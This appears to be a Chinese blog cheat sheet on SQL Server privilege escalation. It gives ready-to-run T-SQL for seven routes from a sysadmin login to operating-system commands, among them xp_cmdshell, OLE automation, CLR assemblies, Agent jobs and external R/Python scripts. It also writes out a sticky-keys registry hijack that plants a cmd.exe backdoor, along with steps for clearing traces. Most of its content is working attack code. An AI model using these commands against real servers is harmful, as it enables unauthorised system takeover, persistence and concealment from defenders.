thumbnail
SQL Server 提权

一、基础概念与前提

1. 核心前提

  • 服务器已开启 SQL Server 服务并允许外联

  • 拥有高权限账号(如 sa,对应 sysadmin 角色,为最高权限)

  • 数据库未被降权(部分版本默认降权为 mssql 用户,可能限制操作)

2. 权限判定

  • sysadmin(DBA 权限):最高权限,可执行任意操作 判定命令:select IS_SRVROLEMEMBER('sysadmin');(返回 1 表示拥有)

  • db_owner(dbo 权限):数据库所有者,可执行数据库内大部分操作 判定命令:select IS_SRVROLEMEMBER('db_owner');

  • public 角色:默认角色,权限最低 判定命令:select IS_SRVROLEMEMBER('public');

二、提权方法

1. xp_cmdshell 提权

  • 原理:通过扩展存储过程直接执行系统命令,返回执行结果

  • 适用版本:2000 默认开启,2005 及以上默认禁用

  • 操作步骤

    1. 启用组件(需 sa 权限):

      1
      2
      3
      4
      5
      use master;
      exec sp_configure 'show advanced options', 1;
      RECONFIGURE;
      exec sp_configure 'xp_cmdshell', 1;
      RECONFIGURE;

    2. 执行命令:

      1
      exec master..xp_cmdshell "whoami";

    3. 关闭组件(清理痕迹):

      1
      2
      exec sp_configure 'xp_cmdshell', 0;
      RECONFIGURE;

  • 恢复方法:若组件被删除,可通过 DLL 恢复:

    1
    exec master.sys.sp_addextendedproc 'xp_cmdshell', 'C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll';

2. sp_oacreate 提权

  • 原理:调用 WScript.Shell 等 OLE 对象,通过 sp_oamethod 执行系统命令

  • 特点:无回显,需将结果写入文件后读取

  • 操作步骤

    1. 启用组件:

      1
      2
      3
      4
      exec sp_configure 'show advanced options', 1;
      RECONFIGURE;
      exec sp_configure 'Ole Automation Procedures', 1;
      RECONFIGURE;

    2. 执行命令(例:添加用户并写入结果):

      1
      2
      3
      4
      5
      6
      declare @ffffffff0x int,@exec int,@text int,@str varchar(8000)
      exec sp_oacreate 'wscript.shell',@ffffffff0x output
      exec sp_oamethod @ffffffff0x,'exec',@exec output,'C:\\Windows\\System32\\cmd.exe /c whoami'
      exec sp_oamethod @exec, 'StdOut', @text out
      exec sp_oamethod @text, 'readall', @str out
      select @str;

3. xp_regwrite 提权

  • 原理:修改 Windows 注册表(如添加启动项、映像劫持)实现提权

  • 典型场景:劫持粘滞键(sethc.exe),替换为 cmd.exe

  • 操作示例

    1
    2
    3
    4
    5
    6
    7
    -- 劫持粘滞键
    exec master..xp_regwrite
     @rootkey='HKEY_LOCAL_MACHINE',
     @key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File execution Options\sethc.EXE',
     @value_name='Debugger',
     @type='REG_SZ',
     @value='c:\windows\system32\cmd.exe';

  • 验证劫持

    1
    exec master..xp_regread 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File execution Options\sethc.exe', 'Debugger';

4. 沙盒提权

  • 原理:利用 Access 沙盒机制,通过 openrowset 调用 mdb 文件执行命令

  • 适用条件:32 位系统、存在 jet.oledb.4.0 驱动、sa 权限

  • 操作步骤

    1. 开启分布式查询:

      1
      2
      3
      4
      exec sp_configure 'show advanced options', 1;
      reconfigure;
      exec sp_configure 'Ad Hoc Distributed Queries', 1;
      reconfigure;
    2. 关闭沙盒模式(修改注册表):

      1
      exec master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;
    3. 配置 OLE DB 提供程序属性(适配不同 SQL Server 版本 )

      1
      2
      3
      4
      5
      6
      7
      -- Until SQL Server 2012
      EXEC sp_MSset_oledb_prop N'Microsoft.ACE.OLEDB.12.0', N'AllowInProcess', 1
      EXEC master.dbo.sp_MSset_oledb_prop N'Microsoft.Jet.OLEDB.4.0', N'AllowInProcess', 1

      -- SQL Server 2014 or later
      EXEC sp_MSset_oledb_prop N'Microsoft.ACE.OLEDB.12.0', N'DynamicParameters', 1
      EXEC master.dbo.sp_MSset_oledb_prop N'Microsoft.Jet.OLEDB.4.0', N'DynamicParameters', 1
    4. 执行系统命令:

      1
      2
      Select * From OpenRowSet('microsoft.jet.oledb.4.0',';Database=c:\windows\system32\ias\ias.mdb',
      'select shell("whoami")');

    5. 恢复配置

      1
      2
      3
      exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1;
      exec sp_configure 'Ad Hoc Distributed Queries',0;
      reconfigure;

5. CLR 提权

  • 原理:利用 SQL Server 与 .NET CLR 的集成,通过自定义存储过程执行命令

  • 适用版本:2005 及以上

  • 操作步骤

    1. 开启 CLR 集成:

      1
      2
      3
      4
      5
      exec sp_configure 'show advanced options', 1;
      RECONFIGURE;
      exec sp_configure 'clr enabled', 1;
      RECONFIGURE;
      ALTER DATABASE master SET TRUSTWORTHY ON; -- 标记数据库为可信任
    2. 注册自定义 DLL(含命令执行代码):

      1
      CREATE ASSEMBLY [MyAssembly] FROM 'C:\path\to\your.dll' WITH PERMISSION_SET = UNSAFE;
    3. 创建并执行存储过程:

      1
      2
      3
      CREATE PROCEDURE sp_cmdexec @Command nvarchar(4000)
      AS EXTERNAL NAME [MyAssembly].[StoredProcedures].[Cmdexec];
      exec sp_cmdexec 'whoami'; -- 执行命令
    4. 清理痕迹:

      1
      2
      DROP PROCEDURE sp_cmdexec;
      DROP ASSEMBLY [MyAssembly];

6. Agent Job 提权

  • 原理:通过 SQL Server 代理(SQLSERVERAGENT)创建计划任务执行命令

  • 操作步骤

    1. 启动代理服务:

      1
      exec master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT';
    2. 创建任务并执行命令(例:写入结果到文件):

      1
      2
      3
      4
      5
      6
      use msdb;
      exec sp_delete_job null, 'test'; -- 删除同名任务(若存在)
      exec sp_add_job 'test';
      exec sp_add_jobstep null, 'test', null, '1', 'cmdexec', 'cmd /c "whoami > D:\result.txt"';
      exec sp_add_jobserver null, 'test', @@servername;
      exec sp_start_job 'test'; -- 启动任务
    3. 读取结果:

      1
      2
      bulk insert readfile from 'D:\result.txt';
      select * from readfile;

7. 脚本执行提权(R/Python)

  • 原理:利用 SQL Server 2017+ 的机器学习服务,通过外部脚本执行命令

  • 操作步骤

    1. 开启外部脚本权限:

      1
      2
      exec sp_configure 'external scripts enabled', 1;
      RECONFIGURE;
    2. 执行 R 脚本:

      1
      2
      3
      4
      exec sp_execute_external_script
      @language=N'R',
      @script=N'OutputDataSet <- data.frame(system("cmd.exe /c dir", intern=T))'
      WITH RESULT SETS (([cmd_out] text));
    3. 执行 Python 脚本:

      1
      2
      3
      4
      5
      6
      7
      exec sp_execute_external_script
      @language=N'Python',
      @script=N'
      import subprocess
      p = subprocess.Popen("cmd.exe /c whoami", stdout=subprocess.PIPE)
      OutputDataSet = pandas.DataFrame([str(p.stdout.read(), "utf-8")])
      ';
上一篇
下一篇